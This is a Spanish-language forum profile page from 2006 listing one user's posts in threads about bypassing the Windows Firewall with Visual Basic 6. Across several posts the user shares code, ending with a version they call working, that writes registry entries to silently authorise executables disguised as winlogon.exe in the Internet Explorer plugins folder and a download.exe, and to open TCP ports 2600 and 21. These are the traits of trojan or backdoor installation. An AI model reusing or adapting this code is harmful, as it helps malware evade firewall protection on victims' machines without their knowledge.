Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - JanditoOo

Páginas 1 2
#11
Programación Visual Basic / Re: Saltarse el Firewall de Windows
6 Septiembre 2006, 03:33 AM
Listo, ya se ejecuto correctamente, para LOS QUE TENGAN EL MISMO PROBLEMA, aqui les dejo el codigo:

Citar
Private Sub Form_Load()
On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto

WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:winlogon", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\WINDOWS\System32\download.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:download", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", "RegString"

End Sub
#12
Programación Visual Basic / Re: Saltarse el Firewall de Windows
6 Septiembre 2006, 03:12 AM
los encontre, el codigo lo tengo de esta manera:

CitarPrivate Sub Form_Load()

Set Agregar = CreateObject("WScript.Shell") ' asignamos a una variable el objeto

Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString

End Sub

pero me dice que hay un error cuando le doy "run" me dice:

Run-Time error 450:
Wrong Number of arguments or invalid property assigment

y le pongo en el boton "DEBUG" y me selecciona de amarillo la primera linea:

Citar
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString

#13
Programación Visual Basic / Re: Saltarse el Firewall de Windows
6 Septiembre 2006, 01:45 AM
no encontre como poder agregar bien los registtros, pero bueno gracias de todas maneras. en cuanto sepa aqui lo posteare
#14
Programación Visual Basic / Re: firewall xp
6 Septiembre 2006, 01:04 AM
ponganme el link que no lo encuentro xD
#15
Programación Visual Basic / Saltarse el Firewall de Windows
6 Septiembre 2006, 00:38 AM
Bien, tengo el siguiente codigo

Citar
Private Sub Form_Load()

'Agregar Download.exe y Winlogon.exe a la lista Aceptable del Firewall de Windows

RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", App.Path & "\" & "winlogon.exe" & ":*:Enabled:Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString


End Sub

Pero me dice que esta mal:

Compile error:
Sub or Function not defined

Que es lo que le hace falta al codigo?
#16
Programación Visual Basic / Re: Detectar si el Firewall de Win XP bloquea la aplicación
6 Septiembre 2006, 00:02 AM
Uso Visual Basic 6.0 y pongo este comando:

Citar
Private Form_Load()

RegSetValues RegLocalMachine, "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "Security Data.exe", App.Path & "\" & "Security Data.exe" & ":*:Enabled:Security Data", RegString

RegSetValues RegLocalMachine, "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2708:TCP", "2708:TCP:*:Enabled:Puerto Security Data", RegString
End Sub

y me selecciona RegLocalMachine con el siguiente error:

Compile error:
Invalid Outside Procedure

que estara mal?
Páginas 1 2